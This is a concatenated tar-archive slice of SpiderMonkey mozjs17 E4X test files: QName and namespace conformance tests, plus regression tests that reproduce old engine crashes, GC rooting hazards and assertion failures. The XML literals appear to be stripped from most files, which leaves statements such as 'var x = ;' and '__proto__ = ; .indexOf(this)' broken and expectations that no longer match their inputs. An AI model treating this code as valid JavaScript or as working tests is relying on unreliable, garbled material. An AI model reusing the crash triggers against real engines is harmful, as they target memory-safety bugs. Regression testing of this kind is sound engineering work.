p.localName, q.localName); TEST(3, p.uri, q.uri); q = QName("http://foobar/", "foobar"); p = new QName("http://foobar/", "foobar"); TEST(4, typeof(p), typeof(q)); TEST(5, p.localName, q.localName); TEST(6, p.uri, q.uri); p1 = QName(q); p2 = new QName(q); TEST(7, typeof(p2), typeof(p1)); TEST(8, p2.localName, p1.localName); TEST(9, p2.uri, p1.uri); n = new Namespace("http://foobar/"); q = QName(n, "foobar"); p = QName(n, "foobar"); TEST(10, typeof(p), typeof(q)); TEST(11, p.localName, q.localName); TEST(12, p.uri, q.uri); p = QName(q); TEST(13, p, q); END(); mozjs17.0.0/js/src/tests/e4x/QName/browser.js0000664000175000017500000000000012106270663020656 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/QName/regress-373595-02.js0000664000175000017500000000123712106270663021656 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.3 QName Objects - Do not assert: op == JSOP_ADD'; var BUGNUMBER = 373595; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); print('This testcase does not reproduce the original issue'); "" + (function () { x %= y.@foo; const x;}) TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/QName/regress-373595-03.js0000664000175000017500000000122612106270663021655 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.3 QName Objects - Do not assert: op == JSOP_ADD'; var BUGNUMBER = 373595; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); print('This testcase does not reproduce the original issue'); "" + (function () { x.@foo < 1;}); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/QName/13.3.2.js0000664000175000017500000000252612106270663017736 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.3.2 - QName Constructor"); q = new QName("*"); TEST(1, "object", typeof(q)); TEST(2, "*", q.localName); TEST(3, null, q.uri); TEST(4, "*::*", q.toString()); // Default namespace q = new QName("foobar"); TEST(5, "object", typeof(q)); TEST(6, "foobar", q.localName); TEST(7, "", q.uri); TEST(8, "foobar", q.toString()); q = new QName("http://foobar/", "foobar"); TEST(9, "object", typeof(q)); TEST(10, "foobar", q.localName); TEST(11, "http://foobar/", q.uri); TEST(12, "http://foobar/::foobar", q.toString()); p = new QName(q); TEST(13, typeof(p), typeof(q)); TEST(14, q.localName, p.localName); TEST(15, q.uri, p.uri); n = new Namespace("http://foobar/"); q = new QName(n, "foobar"); TEST(16, "object", typeof(q)); q = new QName(null); TEST(17, "object", typeof(q)); TEST(18, "null", q.localName); TEST(19, "", q.uri); TEST(20, "null", q.toString()); q = new QName(null, null); TEST(21, "object", typeof(q)); TEST(22, "null", q.localName); TEST(23, null, q.uri); TEST(24, "*::null", q.toString()); END(); mozjs17.0.0/js/src/tests/e4x/QName/regress-444608.js0000664000175000017500000000116712106270663021433 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.3 QNames - call constructors directly'; var BUGNUMBER = 444608; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var x =
    ; QName = function() { return 10; }; x.replace("b", 10); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/QName/regress-373595-01.js0000664000175000017500000000113712106270663021654 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.3 QName Objects - Do not assert: op == JSOP_ADD'; var BUGNUMBER = 373595; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); "" + (function () { return 1 / 2 .. y; }); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Statements/0000775000175000017500000000000012106270663017775 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Statements/12.3-01.js0000664000175000017500000000207712106270663021142 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '12.3 - for-each-in should not affect for-in'; var BUGNUMBER = 292020; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); // test here function foreachbug() { var arryOuter = ["outervalue0", "outervalue1"]; var arryInner = ["innervalue1","innervalue2"]; for (var j in arryOuter) { var result = (j in arryOuter); if (!result) { return ("enumerated property not in object: (" + j + " in arryOuter) " + result); return result; } for each (k in arryInner) { // this for-each-in should not affect the outer for-in } } return ''; } TEST(1, '', foreachbug()); END(); mozjs17.0.0/js/src/tests/e4x/Statements/shell.js0000664000175000017500000000000012106270663021430 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Statements/browser.js0000664000175000017500000000000012106270663022004 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Statements/12.1.js0000664000175000017500000000552712106270663020725 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("12.1 - Default XML Namespace"); // Declare some namespaces ad a default namespace for the current block var soap = new Namespace("http://schemas.xmlsoap.org/soap/envelope/"); var stock = new Namespace("http://mycompany.com/stocks"); default xml namespace = soap; // Create an XML initializer in the default (i.e., soap) namespace message = DIS ; // Extract the soap encoding style using a QualifiedIdentifier encodingStyle = message.@soap::encodingStyle; TEST_XML(1, "http://schemas.xmlsoap.org/soap/encoding/", encodingStyle); // Extract the body from the soap message using the default namespace correct = DIS ; body = message.Body; TEST_XML(2, correct.toXMLString(), body); // Change the stock symbol using the default namespace and qualified names correct = MYCO ; message.Body.stock::GetLastTradePrice.stock::symbol = "MYCO"; TEST(3, correct, message); function scopeTest() { var x = ; TEST(4, soap.uri, x.namespace().uri); default xml namespace = "http://" + "someuri.org"; x = ; TEST(5, "http://someuri.org", x.namespace().uri); } scopeTest(); x = foo; TEST(6, soap.uri, x.namespace().uri); TEST(7, soap.uri, x.b.namespace().uri); ns = new Namespace(""); TEST(8, "foo", x.b.ns::c.toString()); x = ; TEST(9, soap.uri, x.namespace().uri); TEST(10, "", x.@foo.namespace().uri); TEST_XML(11, "bar", x.@foo); default xml namespace = ""; x = ; ns = new Namespace("http://someuri"); default xml namespace = ns; x.a = "foo"; TEST(12, "foo", x["a"].toString()); q = new QName("a"); TEST(13, "foo", x[q].toString()); default xml namespace = ""; x[q] = "bar"; TEST(14, "bar", x.ns::a.toString()); END(); mozjs17.0.0/js/src/tests/e4x/Statements/12.2.js0000664000175000017500000000251212106270663020715 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("12.2 - For-in statement"); // All the employee names e = Joe 20 Sue 30 ; correct = new Array("Joe", "Sue", "Big Screen Television", "1299.99"); i = 0; for (var n in e..name) { TEST("1."+i, String(i), n); i++; } TEST("1.count", 2, i); // Each child of the first item order = John Smith Big Screen Television 1299.99 DVD Player 399.99 ; i = 0; for (var child in order.item) { TEST("2."+i, String(i), child); i++ } TEST("2.count", 2, i); i = 0; for (var child in order.item[0].*) { TEST("3."+i, String(i), child); i++ } TEST("3.count", 2, i); END(); mozjs17.0.0/js/src/tests/e4x/extensions/0000775000175000017500000000000012106270663020045 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/extensions/regress-352846-03.js0000664000175000017500000000301412106270663023044 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 352846; var summary = 'Passing unrooted value to OBJ_DEFAULT_VALUE is GC hazard'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var counter = 0; function prepare_xml() { delete XML.prototype.function::toString; Object.defineProperty(Object.prototype, "toString", { get: toSource_getter, enumerable: true, configurable: true }); return new XML("xml_text"); } function toSource_getter() { // Make sure that lastInternalResult does not contain prepare_xml var tmp = { toSource: function() { return [1,2,3]; } }; uneval(tmp); if (counter++ < 2) return undefined; // run GC onr overwrite the heap if (typeof gc == "function") gc(); var x = 1e-100; for (var i = 0; i != 50000; ++i) var x2 = x / 4; // Return a function that would access this in non-trivial way to // check if prepare_xml() was rooted. return function() { print("xxx"); return this.toXMLString(); }; } var obj = { }; Object.defineProperty(obj, "length", { get: prepare_xml, enumerable: true, configurable: true }); Array.reverse(obj); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-450871-01.js0000664000175000017500000000147212106270663023045 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash: __proto__ = ; .lastIndexOf(this, false)'; var BUGNUMBER = 450871; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); if (typeof window == 'object') { actual = expect = 'Test skipped for browser based tests due destruction of the prototype'; } else { try { __proto__ = ; .lastIndexOf(this, false); } catch(ex) { } } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/shell.js0000664000175000017500000000000012106270663021500 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/extensions/regress-462734-01.js0000664000175000017500000000137712106270663023052 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not assert: pobj_ == obj2'; var BUGNUMBER = 462734; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var save__proto__ = this.__proto__; try { for (x in function(){}) (); this.__defineGetter__("x", Function); __proto__ = x; prototype += ; } catch(ex) { print(ex + ''); } __proto__ = save__proto__; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-327897.js0000664000175000017500000000147112106270663022641 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Crash in js_GetStringBytes"; var BUGNUMBER = 327897; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); printStatus('This test runs only in the browser'); if (typeof XMLSerializer != 'undefined') { try { var a = XMLSerializer; a.foo = (function(){}).apply; a.__proto__ = ; a.foo(); } catch(ex) { printStatus(ex + ''); } } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/extensibility.js0000664000175000017500000000175612106270663023310 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: * Jeff Walden */ var gTestfile = 'extensibility.js'; //----------------------------------------------------------------------------- var BUGNUMBER = 492849; var summary = 'XML values cannot have their [[Extensible]] property changed'; print(BUGNUMBER + ": " + summary); /************** * BEGIN TEST * **************/ var x = ; assertEq(Object.isExtensible(x), true); try { Object.preventExtensions(x); throw new Error("didn't throw"); } catch (e) { // assertEq(e instanceof TypeError, true, // "xmlValue.[[Extensible]] cannot be changed"); } // assertEq(Object.isExtensible(x), true); /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("All tests passed!"); mozjs17.0.0/js/src/tests/e4x/extensions/regress-352846-02.js0000664000175000017500000000264712106270663023056 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 352846; var summary = 'Passing unrooted value to OBJ_DEFAULT_VALUE is GC hazard'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var counter = 0; function prepare_xml() { delete XML.prototype.function::toString; Object.defineProperty(Object.prototype, "toString", { get: toSource_getter, enumerable: true, configurable: true }); return new XML("xml_text"); } function toSource_getter() { // Make sure that lastInternalResult does not contain prepare_xml var tmp = { toSource: function() { return [1,2,3]; } }; uneval(tmp); if (counter++ < 2) return undefined; // run GC onr overwrite the heap if (typeof gc == "function") gc(); var x = 1e-100; for (var i = 0; i != 50000; ++i) var x2 = x / 4; // Return a function that would access this in non-trivial way to // check if prepare_xml() was rooted. return function() { print("xxx"); return this.toXMLString(); }; } var a = [1, 2]; a.sort(prepare_xml); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/browser.js0000664000175000017500000000000012106270663022054 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/extensions/qualified-name-expr.js0000664000175000017500000000062012106270663024236 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip // Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ var v; (function::v); function f() { } (function::f); /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/e4x/extensions/assign-to-xml.js0000664000175000017500000000107612106270663023111 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip // Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ try { eval("d, {" + " x: [{" + " x: x::x" + " }]" + "} = q"); throw new Error("didn't throw?"); } catch (e) { assertEq(e instanceof SyntaxError, true, "expected syntax error, got: " + e); } /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/e4x/extensions/regress-353165.js0000664000175000017500000000426412106270663022627 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 353165; var summary = 'Do not crash with xml_getMethod'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); crash1(); crash2(); END(); function crash1() { try { var set = new XML('text').children('b'); var counter = 0; Object.defineProperty(Object.prototype, "unrooter", { enumerable: true, configurable: true, get: function() { ++counter; if (counter == 5) { set[0] = new XML(''); if (typeof gc == "function") { gc(); var tmp = Math.sqrt(2), tmp2; for (i = 0; i != 50000; ++i) tmp2 = tmp / 2; } } return undefined; } }); set.unrooter(); } catch(ex) { print('1: ' + ex); } TEST(1, expect, actual); } function crash2() { try { var expected = "SOME RANDOM TEXT"; var set = {expected}.children('b'); var counter = 0; function unrooter_impl() { return String(this); } Object.defineProperty(Object.prototype, "unrooter", { enumerable: true, configurable: true, get: function() { ++counter; if (counter == 7) return unrooter_impl; if (counter == 5) { set[0] = new XML(''); if (typeof gc == "function") { gc(); var tmp = 1e500, tmp2; for (i = 0; i != 50000; ++i) tmp2 = tmp / 1.1; } } return undefined; } }); set.unrooter(); } catch(ex) { print('2: ' + ex); } TEST(2, expect, actual); } mozjs17.0.0/js/src/tests/e4x/extensions/regress-327534.js0000664000175000017500000000122512106270663022622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "uneval on E4X gives Error: xml is not a function"; var BUGNUMBER = 327534; var actual = ''; var expect = 'No Error'; printBugNumber(BUGNUMBER); START(summary); try { uneval(); actual = 'No Error'; } catch(ex) { printStatus(ex); actual = ex + ''; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-337226.js0000664000175000017500000000106512106270663022623 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 337226; var summary = 'function::globalfunction'; var actual = 'No Error'; var expect = 'No Error'; printBugNumber(BUGNUMBER); START(summary); var s = function::parseInt; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-354151-01.js0000664000175000017500000000142112106270663023031 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354151; var summary = 'Bad assumptions about Array elements'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function getter() { return 1; } function setter(v) { return v; } var xml = ; Array.prototype.__defineGetter__(0, getter); Array.prototype.__defineSetter__(0, setter); xml.namespace(); delete Array.prototype[0]; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-450871-02.js0000664000175000017500000000144512106270663023046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash: __proto__ = ; .indexOf(this)'; var BUGNUMBER = 450871; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); if (typeof window == 'object') { actual = expect = 'Test skipped for browser based tests due destruction of the prototype'; } else { try { __proto__ = ; .indexOf(this); } catch(ex) { } } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-354151-02.js0000664000175000017500000000155212106270663023037 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354151; var summary = 'Bad assumptions about Array elements'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml = ; function getter() { } function setter(v) { delete xml.@*::a; xml.removeNamespace("uri:2"); gc(); } Array.prototype.__defineGetter__(0, getter); Array.prototype.__defineSetter__(0, setter); xml.namespaceDeclarations(); delete Array.prototype[0]; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/xml-as-proto.js0000664000175000017500000000224512106270663022750 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) // Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ try { var r = Object.create(); throw new Error("didn't throw, got " + r); } catch (e) { assertEq(e instanceof TypeError, true, "expected TypeError for Object.create, got: " + e); } try { var obj = {}; obj.__proto__ = ; throw new Error("didn't throw setting obj.__proto__"); } catch (e) { assertEq(e instanceof TypeError, true, "expected TypeError for obj.__proto__, got: " + e); } try { var obj = {}; obj.function::__proto__ = ; throw new Error("didn't throw setting xml.function::__proto__"); } catch (e) { assertEq(e instanceof TypeError, true, "expected TypeError for function::__proto__, got: " + e); } var obj = ; var kid = obj.__proto__ = c; assertEq(Object.getPrototypeOf(obj) != kid, true); assertEq(obj.children().length(), 1); assertEq(obj[0] == kid, true); /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/e4x/extensions/regress-374025.js0000664000175000017500000000114612106270663022621 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash with XML.prettyIndent = 2147483648'; var BUGNUMBER = 374025; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); XML.prettyIndent = 2147483648; uneval(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/stringify-xml.js0000664000175000017500000000075412106270663023225 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) // Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ assertEq(JSON.stringify(undefined), undefined); assertEq(JSON.stringify(function(){}), undefined); assertEq(JSON.stringify(), undefined); /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/e4x/extensions/regress-410192.js0000664000175000017500000000112012106270663022605 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Proper quoting of attribute by uneval/toSource'; var BUGNUMBER = 410192; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = '"v"'; actual = uneval(.@a); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-595207.js0000664000175000017500000000103112106270663022621 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ var summary = "Recognize the function namespace anti-URI"; var expect = "1"; var actual; function alert(s) { actual = String(s); } var a = "@mozilla.org/js/function"; try { a::alert("1"); } catch (e) { <>.function::['x']; try { a::alert("2 " + e); } catch (e) { alert("3 " + e); } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/e4x/extensions/regress-312196.js0000664000175000017500000000343212106270663022622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Extending E4X XML objects with __noSuchMethod__"; var BUGNUMBER = 312196; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); XML.ignoreWhitespace = true; XML.prettyPrint = false; function ajaxObj(content){ var ajax = new XML(content); ajax.function::__noSuchMethod__ = autoDispatch; return ajax; } function autoDispatch(id){ if (! this.@uri) return; var request = ; for(var i=0; i{arguments[1][i]}; } var xml = this; xml.request = request; return(xml.toString()); } var ws = new ajaxObj(''); try { actual = ws.function::sample('this', 'is', 'a', 'test'); } catch(e) { actual = e + ''; } expect = ( this is a test ).toString(); TEST(1, expect, actual); try { actual = ws.sample('this', 'is', 'a', 'test'); } catch(e) { actual = e + ''; } expect = ( this is a test this is a test ).toString(); TEST(2, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-305335.js0000664000175000017500000000141512106270663022616 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Regression - XML instance methods should type check in " + "JS_GetPrivate()"; var BUGNUMBER = 305335; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var o = new Number(0); try { o.__proto__ = XML(); } catch (e) { assertEq(e instanceof TypeError, true); } try { o.parent(); } catch(e) { printStatus('Exception: ' + e); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-374163.js0000664000175000017500000000121012106270663022614 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 374163; var summary = "Set E4X xml.function::__proto__ = null shouldn't affect " + "xml.[[DefaultValue]]"; var actual = 'unset'; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var a = ; a.function::__proto__ = null; actual = "" + a; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-354145-06.js0000664000175000017500000000134512106270663023046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var list = <> function a() { delete list[1]; delete list[0]; gc(); for (var i = 0; i != 50000; ++i) var tmp = ""+i; return true; } var list2 = list.(a()); print(uneval(list2)) TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/regress-352846-01.js0000664000175000017500000000261412106270663023047 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 352846; var summary = 'Passing unrooted value to OBJ_DEFAULT_VALUE is GC hazard'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function prepare_xml() { delete XML.prototype.function::toString; Object.defineProperty(Object.prototype, "toString", { get: toSource_getter, enumerable: true, configurable: true }); return new XML("xml_text"); } var counter = 0; function toSource_getter() { // Make sure that lastInternalResult does not contain prepare_xml var tmp = { toSource: function() { return [1,2,3]; } }; uneval(tmp); if (counter++ < 2) return undefined; // run GC onr overwrite the heap if (typeof gc == "function") gc(); var x = 1e-100; for (var i = 0; i != 50000; ++i) var x2 = x / 4; // Return a function that would access this in non-trivial way to // check if prepare_xml() was rooted. return function() { return this.toXMLString(); }; } uneval({ toSource: prepare_xml }); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/extensions/json-stringify-dropping-xml-elements.js0000664000175000017500000000076112106270663027624 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) // Ported from dom/src/json/test/unit/test_dropping_elements_in_stringify.js assertEq(JSON.stringify({foo: 123, bar: , baz: 123}), '{"foo":123,"baz":123}'); assertEq(JSON.stringify([123, , 456]), '[123,null,456]'); /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/e4x/extensions/regress-313080.js0000664000175000017500000000123412106270663022611 0ustar sstanglsstangl// |reftest| 